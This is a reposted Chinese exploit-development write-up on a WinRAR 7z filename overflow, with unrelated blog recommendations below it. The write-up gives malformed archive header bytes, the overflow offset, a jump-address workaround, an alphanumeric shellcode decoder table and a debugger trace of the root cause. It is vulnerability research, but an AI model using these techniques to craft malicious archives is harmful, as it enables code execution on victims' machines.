WinRAR 7z压缩包处理溢出分析和利用

7z解压CRC错误终极指南:从诊断到修复的5种实用方法 本文详细解析7z解压CRC错误的5种实用修复方法,从重新下载到高级恢复技术,帮助用户有效解决数据损坏问题。涵盖7-Zip更新、硬件诊断及预防措施,特别适合频繁处理压缩文件的用户。 阅读详情

unsigned char hz_part1[] =
   "/x37/x7A/xBC/xAF/x27/x1C/x00/x02"  //前8个字节是固定的
   "/xEE/xD6/x49/x23"                     // 7z头部32字节的CRC1
   "/x00/x00/x00/x00/x00/x00/x00/x00"  //下一个7z头的偏移,这里是0
   "/x2D/x40/x00/x00/x00/x00/x00/x00"  //下一个头的长度,这里是0x402D
   "/x3D/xC3/xFE/x9B"                     // 除前32字节外的CRC2
   "/x01/x05/x01/x0E/x01/x80/x0F/x01/x80/x11/x80/x01/x00"; //下一个头开始

char filename[0x400A];                    //超长的文件名,Unicode编码

unsigned char hz_part2[] =
   "/x14/x0A/x01/x00/xF0/xDE/xE9/xB5/xBF/xF2/xC6/x01/x15/x06/x01/x00"
   "/x20/x00/x00/x00/x00/x00";            //文件属性等信息

这样,一个畸形的7z压缩包就构造好了,大家自己和图片对照一下,如图1
点击在新窗口中浏览此图片
图1
不过先别急着打开,WinRAR会对7z压缩包进行CRC32校验,假如校验有错的话就会提示压缩包损坏。所以我们必须自己重新计算CRC校验值。所幸的是,czy大牛的博客上公布了一个计算7zCRC校验的程序,我在他的基础上略微更改了一下,在此表示感谢。假如大家为了练手要自己动手,那么有一点需要注意,由于第二个CRC值会间接影响到第一个CRC校验,所以必须首先计算第二个CRC校验值,CRC32的算法网上一抓一把,我就不多说了。我提供的7zCRC.exe默认校正当前目录下的test.rar,这一点也请注意,7zCRC.exe能在黑防网站上的配套代码里能找到。

小试牛刀
也许大家会奇怪为什么图1里面我文件名填充的为什么是重复的0x9960呢,答案就是Unicode,7z要求文件名必须是Unicode编码,0x9960就是两个nop(0x90)的Unicode,对于Unicode我也不多解释,有一点需要牢记:0x80以上的会被转义,举个例子:0x4100大家都知道是大写的A,但是0x9000就不是大家所熟悉的Nop了,依据语言环境的不同可能会被转义成乱码,正是这一点,给我们的完美利用带来了许多的麻烦。我们双击打开压缩包,然后要点解压到才能触发,WinRAR出错了,如图2:
点击在新窗口中浏览此图片 图2
Offset:90909090 嘿嘿,EIP被覆盖了,接下来要做的就是定位溢出点,两次定位法,我还是不多说,自己翻以前的黑防。我直接给出结果,溢出点就在(filename+8)开始的四个字节,由于我们的Shellcode在栈中,习惯性的想到了中文2000/XP/2k3下通用的Jmp esp跳转地址0x7FFA4512,下面看我的代码:


//写入超长文件名
char content[0x2005];            //0x400A/2 = 0x2005 用于ASCII向Unicode转换
memset(content,0x41,0x2005);    //填充0x41不会引起转义问题
memcpy(content+4, "/x12/x45/xfa/x7f",4); //
MultiByteToWideChar(CP_ACP,0,content,0x2005,(LPWSTR)filename,0x400A); //Convert
WriteFile(h7z, (LPCVOID)filename,0x400A,&dwWritten,NULL);

这时候栈的地址是在0x17Dxxxxx的地方,马上重新生成一个压缩包,打开,但出错的地址不在栈中,意味着EIP没有跳转到栈中,如图3:
点击在新窗口中浏览此图片
图3
奇怪,3f是哪来的呢?经过我查资料,Unicode是双字节码,3f表示的是未知字符,文件名的16个字节经过MultiByteToWideChar函数的转化以后已经变成了下面这个样子/x41/x00/x41/x00/x41/x00/x41/x00/x12/x00/x45/x00/x3f/x00/x41,看来这个地址是用不了了,poc代码的作者提供的是0x100201BB这个地址,这个地址是在7zxa.dll的.rdata段里,虽然这里面有个0xBB但是由于它处在首尾两端,我们还是可以给它补一个字节,这样就不怕转义了,但是在测试中我发现7z.fmt和7z.dll的加载基址几乎每次都是不一样的,所以这个地址也只能放弃,难道我们真的要放弃?

柳暗花明
我们的跳转地址必须符合三个条件:1.需要能够跳回堆栈 2.四个字节不能出现>0x80的字节 3.或者出现0x80以上的字节不能出现在中间两个位置上。我打开OD的内存,一个个模块搜索过来,黄天不负有心人,在所有加载模块的最高处,Shell32.dll的.text段里面居然让我找到了:0x7D646981,嘿嘿,跳转地址就可以这么构造0x41000x4100x4100x8A7C 0x69000x64000x7D00,其中是0x8A7C是0x81的Unicode,但这不是完美的解决方案,不是每台机子的0x7D646981都是Jmp esp,但同一个SP下Shell32.dll加载的基址应该是固定的,至于如何实现通用,这个问题还是留给读者吧。Shellcode的定位问题算是暂时告一段落了,紧接着而来的问题就是要有能经得起转换的Shellcode,对了,纯字母数字的Shellcode就是符合这样要求的Shellcode,经得起MultiByteToWideChar折腾的也就这孩子了。幸亏黑防上期刚刚发表过关于编写纯字母数字的Shellcode的文章,不然我得多打一个小时的字:)不知大家是否已经有了自己的AlphaNumric的Shellcode了,如果没有的话,我找来了一个生成的模板供大家使用:

 { "nops",     "IIIIIIIIIIIIIIIIII7" mixedcase_ascii_decoder_body },
 { "eax",      "PYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "ecx",      "IIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "edx",      "JJJJJJJJJJJJJJJJJ7RY" mixedcase_ascii_decoder_body },
 { "ebx",      "SYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "esp",      "TYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "ebp",      "UYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "esi",      "VYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "edi",      "WYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp-10]", "LLLLLLLLLLLLLLLLYIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp-C]",  "LLLLLLLLLLLLYIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp-8]",  "LLLLLLLLYIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp-4]",  "LLLL7YIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp]",    "YIIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+4]",  "YYIIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp+8]",  "YYYIIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+C]",  "YYYYIIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp+10]", "YYYYYIIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+14]", "YYYYYYIIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "[esp+18]", "YYYYYYYIIIIIIIIIIIIIIQZ" mixedcase_ascii_decoder_body },
 { "[esp+1C]", "YYYYYYYYIIIIIIIIIIIII7QZ" mixedcase_ascii_decoder_body },
 { "seh",      mixedcase_w32sehgetpc "IIIIIIIIIIIIIIIII7QZ" // ecx code

这是解码头,根据溢出的时候哪个寄存器指向Shellcode进行选用,生成Shellcode主体的函数配套代码alphashellcode里面有。我们这应该选择TYIIIIIIIIIIIIIIII7QZ这个解码头,Shellcode怪长的我就不贴了,以免有骗稿费之嫌。再次测试,成功,如图4:
点击在新窗口中浏览此图片
图4

疑云重重
虽然利用是成功了,不过不知道大家有没有发现一些比较奇怪的问题:1.如果是栈溢出,为什么溢出点却在超长字符串的前面,而不是在中间或者后面,不会它的缓冲区只有1个字节吧? 2.为什么打开的时候不触发漏洞只有解压的时候才触发? 3.为什么gyzy说这不是严格意义上的栈溢出?(汗..) 带着这一连串的问题,任何言语的猜测都是苍白的,还是让OD去解开我们的疑团。这里顺便发一下牢骚,OD对多线程的处理真是不咋的,经常会莫名其妙的出现假死的现象,先加载WinRAR.exe让OD跑起来,记得先把跳转地址改掉,以免出现没有断下来的尴尬局面,另外还要记得校正CRC值,不然它会郑重的警告你一下,哈哈,祈祷你的机器没有假死吧,阿门,如图5:
点击在新窗口中浏览此图片
图5
我发现原版的OD好像稳定性好一点,所以我用的是原版的,这个时候EIP已经被覆盖了,我在堆栈窗口里往上下都翻了翻,没有翻到正常的返回地址,奇怪了,不可能所有的返回地址都覆盖吧?太狠了,居然一点线索都不给留下,按照常规堆栈回溯下很容易找到出问题的代码,看来事情越发的扑朔迷离了。Ctrl+F2重新来,F9让他跑起来,然后bp CreateThread,
在这上面下断,因为很明显解压文件的时候需要新开线程,会发现0049CDFC这个地址是新开线程的起始地址,然后一部部往下跟(省略N多步骤,要是都写出来有点感觉自己像是写长篇小说了),跟进到这个地方:

0045BD63  |. E8 7466FBFF    |CALL WinRAR.004123DC
0045BD68  |. 84C0           |TEST AL,AL
0045BD6A  |. 74 04          |JE SHORT WinRAR.0045BD70
0045BD6C  |. B0 01          |MOV AL,1
0045BD6E  |. EB 0F          |JMP SHORT WinRAR.0045BD7F
0045BD70  |> 43             |INC EBX
0045BD71  |> 3B9F 04040000   CMP EBX,DWORD PTR DS:[EDI+404]
0045BD77  |.^0F8C 41FFFFFF  /JL WinRAR.0045BCBE
0045BD7D  |. 33C0           XOR EAX,EAX
0045BD7F  |> 5F             POP EDI
0045BD80  |. 5E             POP ESI
0045BD81  |. 5B             POP EBX
0045BD82  |. 8BE5           MOV ESP,EBP
0045BD84  |. 5D             POP EBP
0045BD85  /. C2 0800        RETN 8

返回的时候EIP被覆盖了,RETN 8指令说明在返回地址后面要有8个字节的保留空间,再跟Shellcode,我们在0045BD80下断,如图6:
点击在新窗口中浏览此图片
图6

霍然开朗
但这时的ESP却还是01DCF80C,怎么后来就跳到了017D6578了呢,答案就在下面0045B082的MOV ESP,EBP而EBP恰恰是017D6578,这就解释了刚才的种种疑问,为什么异常发生的时候栈里回溯不到调用信息,为什么溢出点会出现在字符串的前几个字节了。答案就是EBP的值被污染了。重复上面的若干步骤,在01DCF8E8上下写入硬断,里面保存着被覆盖前的的EBP,下面这段代码覆盖了栈里的正确EBP值:

00494AD8  |. 57             PUSH EDI
00494AD9  |. 8B7D 08        MOV EDI,DWORD PTR SS:[EBP+8]
00494ADC  |. 8BC7           MOV EAX,EDI
00494ADE  |. 8B75 0C        MOV ESI,DWORD PTR SS:[EBP+C]
00494AE1  |. 8B4D 10        MOV ECX,DWORD PTR SS:[EBP+10]
00494AE4  |. 8BD1           MOV EDX,ECX
00494AE6  |. D1E9           SHR ECX,1
00494AE8  |. D1E9           SHR ECX,1
00494AEA  |. FC             CLD           ecx 203
00494AEB  |. F3:A5          REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]
00494AED  |. 8BCA           MOV ECX,EDX
00494AEF  |. 83E1 03        AND ECX,3      2
00494AF2  |. F3:A4          REP MOVS BYTE PTR ES:[EDI],BYTE PTR DS:[ESI]
00494AF4  |. 5F             POP EDI

省略N多步骤,最后发现是00412562这里的指令将EBP值污染了,然后返回到0045BD82的时候间接覆盖了ESP。

00412562  |. 5D             POP EBP

跟踪到这的时候也觉得有点意思,很难说这是个标准的覆盖返回地址或者SEH链的栈溢出,但是这儿确实间接的覆盖了返回地址。最近一年来,各种第三方软件的文件处理漏洞逐渐多了起来,个人觉得像这一类的漏洞基本只能靠黑盒测试发现,代码审计也许都很难发现。这次那个作者能发现也算运气,也许短一点的文件名根本就触发不了这么隐秘的Bug了。而且确实不太好利用,溢出点靠后点还能伪装一个诱人点的文件名呢,唉....但是供大家练练手还是不错的,牵涉到很多方面的东西。

Videodata数据文件压缩包包含两个文件夹.rar hive项目的一些数据。视频可以有多个所属分类,每个所属分类用&符号分割,且分割的两边有空格字符,同时相关视频也是可以有多个元素,多个相关视频又用“\t”进行分割。为了分析数据时方便对存在多个子元素的数据进行操作,我们首先进行数据重组清洗操作。即:将所有的类别用“&”分割,同时去掉两边空格,多个相关视频id也使用“&”进行分割。 立即下载

相关推荐

学习资料学习资料学习资料学习资料学习资料学习资料学习资料学习资料

学习资料学习资料学习资料学习资料学习资料学习资料

7z文件格式及其源码的分析

本文是一个系列. 主要是分享我最近一年做7z文件开发的经验. 主要包括7z官方源码的结构分析, 以及7z文件格式的分析. 其中涉及到7z源码结构的各个细节, 以及7z文件格式的具体细节. 本文适合对象: 想要了解学习7z源码的开发人员, 想要了解7z文件格式细节, 做7z文件压缩器和解压器的开发人员, 以及其他压缩文件爱好者等等. 目前7z的最新稳定版是9.20, 而9....

weixin_30750335的博客 738

深度学习资料包.7z(书、笔记等)

深度学习资料包.7z

7z压缩包密码解

首先获取7z压缩包密码对应的hash值,得到hash值后使用Hashcat工具进行穷举解密,接下来就是等待计算结果了。我们先来将美丽神话.mp3进行压缩并设置密码,然后验证打开压缩包,打开时弹出密码输入框,说明密码设置成功。1分钟过去了,解密成功,显示一下密码,密码是2022,再次打开7z文件,输入密码2022,成功打开。7z密码忘记怎么办,今天来给大家分享一种找回7z密码的方法。解密过程根据密码长度大小及复杂度决定消耗时长,继续等待一会儿。

ThinkBotAI的博客 3730

Docker学习资料总结.7z

这是我研究Dicker一周以来学习的Docker资料的总结,里面包括:namespace,cgroup等对Docker核心原理的认识和理解,还有一些关于Docke自己做的实验

Unity学习资料.7z

本资源是个人整理的Unity学习资料,包含C#学习思维导图和视频教程和Unity学习教程。我写了一篇Unity系统学习路线的文章,也可以来看一下https://blog.csdn.net/zhangay1998/article/details/118298538

BugKu(杂项) Pokergame

这里确实需要很大的脑洞 看来半天没看出个啥后面发现除了A其他的好像都是2345678910 A是1 那么2345678910有没有可能是0呢 直接替换发现是一串二进制,直接将二进制转换成字符像base加密 解密得到一串密码 Key{OMG_Youdoit}看到文档说要修复什么 看到像半张图的k.jpg 应该是图片高度有问题 直接用winhex打开修改图片高度 将02改成05 当然也可以改成 06 07但是后面发现改成05flag才能勉强看得清楚一点点。附:flag{Poker_F@ce}

qq_51532711的博客 4820

【亲测有效】OpenClaw Gateway 出现 “(no output)“ 卡死问题完整解决指南:从手动重启到 systemd Watchdog 自动恢复

最近在使用 OpenClaw(自托管 AI 助手框架,前身 Clawdbot/Moltbot)时,遇到了一个非常常见的顽疾:TUI(终端界面)或 Telegram 等通道经常显示 "(no output)",消息发出去后机器人完全没反应,看起来像是卡死了。

hampeter的博客 8611

od怎么解java打包的exe_用java中的ProcessBuilder提取7zip命令

我在使用Java 10 ProcessBuilder和7z.exe(18.05)和命令行将存档文件提取到所需类别时遇到问题。当我使用Windows CMD时,完全相同的命令可以正常工作,但当我的JavaFX应用程序使用ProcessBuilder发出时,它不再起作用:public static void decompress7ZipEmbedded(File source, File destin...

weixin_39902345的博客 269

U-Boot 适配新型号 SPI Nor Flash 实战解析

本文详细解析了U-Boot适配新型号SPI Nor Flash的全过程,从JEDEC ID识别错误入手,深入源码分析Flash信息数据库,结合实际手册参数添加新设备支持。重点介绍了设备树同步和验证调试的关键步骤,并总结了常见问题与解决方案,为嵌入式开发者提供实用参考。

weixin_29170327的博客 203

R语言的下载、安装及环境配置(Rstudio&VSCode)

R for Windows是一个免费的用于统计计算和统计制图的优秀工具,是R语言开发工具。它拥有数据存储和处理系统、数组运算工具(其向量、矩阵运算方面功能尤其强大)、完整连贯的统计分析工具、优秀的统计制图等功能。提供的图形界面,可以在其中访问控制台、创建脚本或安装其他软件包。

zegeai的博客 2万+

7z解压crc错误_7-Zip - 常见问题解答

7-Zip是一款开源的文件压缩工具,它支持多种压缩格式,包括其自己的7z格式以及ZIP、RAR等其他流行格式。7-Zip以其高压缩比和强大的功能而闻名,广泛用于数据备份、文件传输和归档。除了压缩和解压功能,7-Zip还能够合并、分割、加密和转换文件。高效的压缩算法,特别是在处理大型文件和文件夹时。支持多语言,用户界面友好。强大的文件加密功能,确保数据安全。跨平台兼容性,可在Windows、Linux和macOS等多种操作系统上运行。CRC(循环冗余校验)是一种常用的数据完整性校验技术。

Python老吕的博客 3200

ST-LINK调试STM32H743必看:CubeMX工程中缺失的这行代码导致程序跑飞

本文深入剖析了使用ST-LINK调试STM32H743时,因CubeMX工程中缺失电源电压档位配置代码而导致程序跑飞或出现“Can not access memory”错误的问题。文章解释了H7系列电源与时钟耦合的核心原理,提供了具体的代码修复方案和系统化的调试排查思路,帮助开发者从根本上解决这一常见调试困境。

weixin_29191669的博客 281

WinRAR 7z压缩包处理溢出分析和利用(转)

文章作者:gyzy [E.S.T](www.gyzy.org)信息来源:邪恶八进制信息安全团队(www.eviloctal.com)本文已经发表在《黑客防线》2007年4月刊。作者及《黑客防线》保留版权,转载请注明原始出处。适合读者:溢出爱好者前置知识:汇编语言、缓冲区溢出基本原理文/图 孤烟逐云(gyzy)【江苏大学信息安全系 & 邪恶八进制信息安全团队】 security.nn...

weixin_33894992的博客 1097

天地图下载带审图号(审图号: GS(2024)0650号)的 “行政区划” 数据(含shp文件下载地址)

在科研投稿论文过程中,多数期刊杂志要求我们制作涉及国界的图件,必须使用自然资源部地图技术审查中心发布的标准地图底图。如地理学报、地理科学等期刊的投稿指南中写到:非标准底图本刊不予发表!(如图1.1所示)如果一定要用,凡涉国界图件(国内部分地区、全国、世界部分地区、全球)必须使用自然资源部标准地图服务系统标准地图底图(http://bzdt.ch.mnr.gov.cn/)(如图1.1所示)或国家测绘局地理信息局标准地图底图(如图1.2所示),所用底图边界要完全无修改(包括南海诸岛位置)。

JData_Engineer的博客 2304

SAP S/4HANA Cloud 管理员业务角色创建实战:基于 SAP_BR_ADMINISTRATOR 模板的一站式指南

摘要:SAP S/4HANA Cloud新系统初始登录时常见Fiori Launchpad无磁贴的问题,这是由于缺乏合适的业务角色分配。本文介绍了通过预交付的SAP_BR_ADMINISTRATOR模板创建管理员角色的完整流程,包括业务用户、业务角色和业务目录的核心概念解析。重点说明了直接使用模板的风险,并提供了从模板创建自定义管理员角色的详细步骤(4.1-4.3),以及权限限制设置的注意事项。文中还分享了一个实际项目案例,强调正确配置管理员角色对后续权限体系建设的关键作用。(149字)

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 210

WinRAR漏洞CVE-2023-38831在APT攻击中的利用与防御实战

软件漏洞是网络安全领域的基础性风险,其原理在于程序逻辑或代码实现存在缺陷,可能被恶意利用。从技术价值看,漏洞研究不仅关乎攻击防范,更是构建纵深防御体系的核心。在应用场景上,高级持续性威胁(APT)攻击常利用广泛部署的“可信”软件漏洞作为初始突破口,实现隐蔽入侵。以WinRAR这类高普及率压缩软件为例,其漏洞(如CVE-2023-38831)利用文件路径解析的逻辑缺陷,通过社会工程学诱导用户交互,便能绕过传统安全检测。这种攻击手法在APT攻击链中尤为典型,常与鱼叉式钓鱼邮件结合,最终实现内网渗透。理解此类漏洞

weixin_34331102的博客 395

结构函数详解

C3M系列覆盖从1 kW到60 kW功率范围,器件Rdson低、开关速度快(Eon/Eoff低),支持高温工作(结温高达175–225°C)。型号电压 (V)Rdson (mΩ, 典型@25°C)电流 (A, 连续@25°C)封装类型典型应用功率 (kW)65012022TO-247-41–106506035TO-247-35–2065060355–2012002180TO-247-310–40120016100TO-247-420–601200。

专注于前沿技术的探索与实践,热衷于从代码逻辑、架构设计到行业应用等多维度深挖技术本质。期待在技术之路上与你共同成长~ 159

为什么你需要尽快把Winrar软件升级到最新7.13版本以上?

1. 修复高危目录遍历(CVE-2025-8088,CVSS 8.4):彻底封堵 Windows 版解压路径劫持,防止恶意文件写入启动目录等敏感位置(已被 RomCom 组织在野利用)。• 风险:构造恶意 RAR 可绕过用户指定路径,写入 Startup 等目录,实现开机自启恶意程序(已在野利用)。• 风险:UNACEV2.dll 处理 ACE 文件名时,可通过 ../ 等序列写入任意目录,执行代码。4. 无自动更新:需手动下载安装,易遗漏高危修复(如 CVE-2025-8088)。

qq_63176657的博客 1031

《基于FPGA的数字信号处理》专栏的导航与说明

《基于FPGA的数字信号处理》专栏的导航与说明

孤独的单刀 4163

IDEA的使用指南

IDEA基于java的使用手册,可以最快速的上手,在使用中不断的丰富自己的使用技巧.

RAR/ZIP/7Z压缩格式对比与实战性能分析

数据压缩是计算机存储与传输中的关键技术,通过算法消除冗余信息来节省空间。主流压缩格式如ZIP、RAR和7Z采用不同算法实现:ZIP基于DEFLATE算法,兼容性最佳;RAR使用PPMd算法,特别适合文本数据;7Z则采用LZMA2算法,提供最高压缩率。在工程实践中,压缩格式的选择需权衡压缩率、速度与硬件成本——例如7Z在固态硬盘上使用64MB字典+32线程可获得最佳性能,而ZIP存储模式则能显著加速海量小文件处理。测试数据显示,压缩50GB数据库备份时,7Z比ZIP节省40%空间但耗时增加2.5倍。对于游戏资

weixin_34253126的博客 392

计算机控制技术及应用

《计算机控制技术及应用》通过总结作者的科研成果和吸收国内外的先进理论、方法和技术,以计算机控制系统的网络化、开放化、智能化和集成化发展趋势为主线索,主要介绍计算机控制系统的基本概念和计算机控制系统的典型形式,计算机控制系统的数学描述与基本分析方法,以及数字PID控制器、最少拍控制系统、达林算法、状态变量设计法等设计方法及其各种改进算法。重点突出计算机控制系统输入输出通道接口的设计方法和典型控制系统的设计案例与实现方法等。

WinRAR CVE-2026-14191漏洞实战处置:检测脚本、企业批量升级与安全替换全流程

摘要:WinRAR曝出高危漏洞CVE-2026-14191,攻击者通过构造恶意RAR5恢复卷分卷包,利用堆溢出漏洞可执行任意代码。全球5亿终端受影响,因WinRAR无自动更新机制,企业及个人用户需手动升级至7.23版本。漏洞利用门槛低,APT组织已将其用于钓鱼攻击,成功率较传统方式提升3倍以上。企业可通过脚本批量检测漏洞终端并静默推送补丁,个人用户应避免打开来源不明的分卷压缩文件,及时更新至最新版本。

从零开始,掌握网络安全。提供全面的网络安全教程、攻防演练技巧和行业动态。 334

NTscan扫描工具

ntscan是一个扫描器,可以扫描没有密码和弱密码的共享,先到配置文件中填写猜测的用户名和密码,扫描过程中右侧出现的是扫描日志。

Data-Structures-and-Algorithm-Analysis-in-Java.pdf

作者: Weiss, Mark A. 出版社: Addison Wesley Data Structures and Algorithm Analysis in Java is an “advanced algorithms” book that fits between traditional CS2 and Algorithms Analysis courses. In the old ACM Curriculum Guidelines, this course was known as CS7. This text is for readers who want to learn good programming and algorithm analysis skills simultaneously so that they can develop such programs with the maximum amo...

Linux归档追加原理:tar、zip、7z追加能力深度解析

归档文件追加是运维与开发高频操作,本质涉及底层存储格式与压缩机制的协同。tar作为流式归档格式,仅支持未压缩(.tar)场景下的安全追加,其原理基于顺序写入与零块标记;而gzip/bzip2/xz压缩后的.tar.gz等格式因破坏压缩流完整性,必须通过解-改-压三步实现;zip则依赖中央目录(CDIR)结构,原生支持增量更新但受路径长度与条目数限制;7z虽支持加密追加,实为重建归档。理解这些差异,才能规避校验失败、数据错乱等生产事故。本文聚焦Linux下主流归档格式的追加边界与工程实践,覆盖tar追加陷阱、

weixin_34008805的博客 406

WinZip高危漏洞剖析:从缓冲区溢出到供应链安全的纵深防御

缓冲区溢出和远程代码执行是软件安全领域的核心漏洞类型,其原理在于程序对用户输入数据缺乏严格的边界检查,导致攻击者能够覆盖关键内存区域并劫持程序执行流程。这类漏洞的技术价值在于揭示了软件在解析复杂外部数据(如文件格式)时存在的固有风险,是渗透测试和漏洞利用的常见切入点。在实际应用场景中,压缩软件、文档阅读器等广泛使用的工具,因其高权限和频繁处理不可信数据,常成为攻击链的初始入口。本文以近期曝光的WinZip高危漏洞为具体案例,深入剖析了攻击者如何通过构造恶意压缩包实现远程代码执行,并系统阐述了从个人操作习惯、

weixin_30873847的博客 378

已解决Java程序生成ZIP文件,WinRAR解压报错“不可预料的压缩文件末端”的排查与修复指南

本文详细解析了Java程序生成ZIP文件时WinRAR解压报错“不可预料的压缩文件末端”的原因及解决方案。通过分析流未正确关闭、编码问题、内存溢出和多线程并发写入等常见问题,提供了完整的流关闭模板、内存优化方案和编码统一方案等最佳实践,帮助开发者彻底解决这一常见异常。

weixin_34275734的博客 311
上一篇: 修改引入表打造穿透KIS6的下载者
下一篇: MS-07004分析和利用
iiprogram
博客等级 码龄25年 1068粉丝 1515原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值